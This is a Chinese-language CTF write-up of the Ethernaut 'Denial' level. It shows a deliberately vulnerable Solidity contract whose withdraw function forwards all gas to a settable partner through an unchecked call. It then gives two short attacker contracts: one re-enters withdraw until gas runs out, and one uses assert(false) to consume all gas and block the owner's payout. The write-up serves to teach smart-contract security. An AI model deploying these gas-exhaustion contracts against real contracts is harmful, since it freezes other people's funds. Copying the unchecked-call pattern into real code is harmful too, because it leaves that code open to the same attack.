DOS(拒绝服务攻击)Denial

111 阅读2分钟

源码:

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import './SafeMath.sol';

contract Denial {

    using SafeMath for uint256;
    address public partner; // withdrawal partner - pay the gas, split the withdraw
    address payable public constant owner = address(0xA9E);
    uint timeLastWithdrawn;
    mapping(address => uint) withdrawPartnerBalances; // keep track of partners balances

    function setWithdrawPartner(address _partner) public {
        partner = _partner;
    }

    // withdraw 1% to recipient and 1% to owner
    function withdraw() public {
        uint amountToSend = address(this).balance.div(100);
        // perform a call without checking return
        // The recipient can revert, the owner will still get their share
        partner.call{value:amountToSend}("");
        owner.transfer(amountToSend);
        // keep track of last withdrawal time
        timeLastWithdrawn = now;
        withdrawPartnerBalances[partner] = withdrawPartnerBalances[partner].add(amountToSend);
    }

    // allow deposit of funds
    receive() external payable {}

    // convenience function
    function contractBalance() public view returns (uint) {
        return address(this).balance;
    }
}

分析:

要求是让owner取不到钱,我们能做的就是在partner端定义函数,使的发给owner的步骤无法进行。这个题有两种解法。
然而,合约中调用的是call并附上了所有gas。我们先回顾一下send、call和transfer之间的区别。

transfer如果异常会转账失败,并抛出异常,存在gas限制
send如果异常会转账失败,返回false,不终止执行,存在gas限制
call如果异常会转账失败,返回false,不终止执行,没有gas限制
所以我们的入手点就是消耗光其gas,光失败不会终止后续执行的

第一种:

代码中的partner可通过上方的setWithdrawPartner函数来设定。 因此只要把partner设定为智能合约地址,即可使用另一合约中重复呼叫withdraw函数,直至把gas用光,函数无法继续执行。

攻击合约:

contract attack{
    Denial denial=Denial(0x7EF2e0048f5bAeDe046f6BF797943daF4ED8CB47);
    fallback()external payable{
      denial.withdraw();
    }
}

第二种:

我们就来看看requireassert

  • assert会消耗掉所有剩余的gas并恢复所有的操作
  • require会退还所有剩余的gas并返回一个值

攻击合约: 攻击合约很简单,就是默认assert(false)并回滚一切操作。

pragma solidity ^0.6.0;


contract attacker {

    fallback() external payable {
        assert(false);
    }

}